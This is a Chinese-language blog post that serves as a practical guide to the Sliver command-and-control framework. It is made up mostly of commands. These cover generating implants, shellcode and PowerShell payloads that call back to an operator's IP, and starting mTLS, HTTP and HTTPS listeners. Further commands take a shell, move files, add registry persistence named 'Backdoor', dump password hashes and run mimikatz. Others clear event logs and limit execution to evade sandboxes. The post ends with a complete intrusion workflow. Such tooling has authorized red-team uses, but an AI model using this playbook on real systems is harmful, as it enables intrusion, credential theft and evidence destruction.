AI摘要:本文介绍了新兴的C2工具Sliver的基础使用,包括常规和通用命令,以及多人协作命令,并提供了生成植入程序、设置监听器、管理会话、文件操作、持久化、横向移动、信息收集等操作示例。

之前博主一直使用的是cs,我们来瞧瞧新兴的C2工具Sliver怎么用
如何## 首先是常规用法 --help命令

1. 常用命令

  • clear: 清除终端屏幕。
  • exit: 退出 Sliver 的交互式 Shell。
  • help: 显示命令帮助信息。例如,help generate 会显示 generate 命令的详细用法。
  • monitor: 监控威胁情报平台,检测 Sliver 植入程序是否被发现。
  • wg-config: 生成一个新的 WireGuard 客户端配置文件。
  • wg-portfwd: 列出通过 WireGuard 隧道接口转发的端口。
  • wg-socks: 列出在 WireGuard 隧道接口上监听的 SOCKS 服务器。

2. 通用命令

  • aliases: 列出当前定义的别名(命令的快捷方式)。
  • armory: 自动下载和安装扩展或别名。
  • background: 将一个活动的会话放到后台运行。
  • beacons: 管理 Beacon(一种异步的、持久化的植入程序)。
  • builders: 列出外部构建器(用于生成植入程序)。
  • canaries: 列出之前生成的 Canary(用于检测是否被发现)。
  • cursed: Chrome/Electron 后渗透工具包,用于浏览器攻击。
  • dns: 启动一个 DNS 监听器(用于 DNS C2)。
  • env: 列出环境变量。
  • generate: 生成一个植入程序二进制文件。
  • hosts: 管理主机数据库(记录目标主机的信息)。
  • http: 启动一个 HTTP 监听器。
  • https: 启动一个 HTTPS 监听器。
  • implants: 列出已生成的植入程序。
  • jobs: 任务控制(管理后台运行的监听器或任务)。
  • licenses: 显示开源许可证信息。
  • loot: 管理服务器的战利品存储(保存从目标获取的数据)。
  • mtls: 启动一个 mTLS(双向 TLS)监听器。
  • prelude-operator: 管理与 Prelude Operator 的连接。
  • profiles: 列出现有的配置文件(用于生成植入程序)。
  • reaction: 管理对事件的自动反应(例如,当某个事件发生时自动执行某些操作)。
  • regenerate: 重新生成一个植入程序。
  • sessions: 会话管理(列出和管理当前的会话)。
  • settings: 管理客户端设置。
  • stage-listener: 启动一个分阶段监听器(用于分阶段植入程序)。
  • tasks: Beacon 任务管理(管理异步任务)。
  • update: 检查 Sliver 的更新。
  • use: 切换当前的会话或 Beacon。
  • version: 显示 Sliver 的版本信息。
  • websites: 托管静态内容(用于 HTTP C2)。
  • wg: 启动一个 WireGuard 监听器。

3. 多人协作命令

  • kick-operator: 将某个操作员从服务器踢出。
  • multiplayer: 启用多人协作模式(允许多个操作员同时使用 Sliver)。
  • new-operator: 创建一个新的操作员配置文件。
  • operators: 管理操作员(列出、添加或删除操作员)。

4. 使用示例

以下是一些常见的使用场景和命令示例:

生成植入程序

generate --os windows --arch amd64 --http http://192.168.1.100:8080
  • 生成一个 Windows 64 位的植入程序,并通过 HTTP C2 通信。

启动 HTTP 监听器

http --domain example.com --port 8080
  • 启动一个 HTTP 监听器,监听 example.com:8080

管理会话

sessions
  • 列出当前的所有会话。
use <session-id>
  • 切换到指定的会话。

管理 Beacon

beacons
  • 列出当前的所有 Beacon。
use <beacon-id>
  • 切换到指定的 Beacon。

多人协作

multiplayer
  • 启用多人协作模式。
new-operator --name alice
  • 为操作员 alice 创建一个新的配置文件。

1. 生成 Payload

生成 Windows 可执行文件

generate --format exe --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.exe

生成 Linux 可执行文件

generate --format elf --os linux --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.elf

生成 Shellcode

generate --format shellcode --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/shellcode.bin

生成 PowerShell 脚本

generate --format ps1 --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.ps1

2. 设置监听器

启动 mTLS 监听器

mtls --lhost 192.168.52.128 --lport 8443

启动 HTTP 监听器

http --lhost 192.168.52.128 --lport 80

启动 HTTPS 监听器

https --lhost 192.168.52.128 --lport 443

3. 管理会话

查看所有会话

sessions

进入会话

use <Session ID>

获取命令行 Shell

shell

退出会话

exit

终止会话

kill <Session ID>

终止所有会话

kill-all

4. 文件操作

列出文件

ls C:\

下载文件

download C:\path\to\file

上传文件

upload /path/to/local/file C:\path\to\remote\file

删除文件

rm C:\path\to\file

5. 持久化

创建持久化任务

persist --method registry --name "Backdoor" --path "C:\path\to\payload.exe"

查看持久化任务

persist

删除持久化任务

persist --remove <Task ID>

6. 横向移动

执行命令

execute notepad.exe

上传并执行文件

upload /path/to/local/file C:\path\to\remote\file
execute C:\path\to\remote\file

抓取密码哈希

hashdump

抓取明文密码

mimikatz

7. 信息收集

以下是常用命令组合:

获取系统信息

info

获取网络配置

ifconfig

获取进程列表

ps

当前权限

whoami

删除日志

clearev

删除文件

rm C:\path\to\file

删除持久化任务

persist --remove <Task ID>

9. 其他常用命令

查看帮助

help

查看当前配置

config

查看任务

jobs

终止任务

jobs --kill <Job ID>

10. 完整操作流程

  1. 启动监听器

    mtls --lhost 192.168.52.128 --lport 8443
  2. 生成 Payload

    generate --format exe --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /tmp/payload.exe
  3. 部署 Payload 到目标机器
  4. 查看会话

    sessions
  5. 进入会话

    use 1
  6. 获取 Shell

    shell
  7. 清理痕迹

    clearev

生成shell:

generate --mtls <Server IP> --save ./test.exe --os Windows

生成beacon,采用mtls回连端口

generate beacon --arch amd64 --os windows --mtls IP:port --save .

时间会有点长,因为要混淆,大概输出结果如下

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:01:05
[*] Implant saved to /xxx/DIFFICULT_DYNAMO.exe

创建Stager(shellcode)

generate stager --lhost 127.0.0.1 --lport 8443 --arch amd64 --format c

通过原生sliver的一个过沙箱的思路

-w, --limit-datetime string:限制在指定日期时间之前执行
-x, --limit-domainjoined:限制在域加入的计算机上执行
-F, --limit-fileexists string:限制在具有文件系统中的指定文件的主机上执行
-z, --limit-hostname string:限制在指定的主机名上执行
-L, --limit-locale string:限制在与此区域设置匹配的主机上执行
-y, --limit-username string:限制在指定的用户名上执行

本文为博主由参考文档整理而成: Sliver C2 官方文档

最后修改:2025 年 02 月 22 日
如果觉得我的文章对你有用,请随意赞赏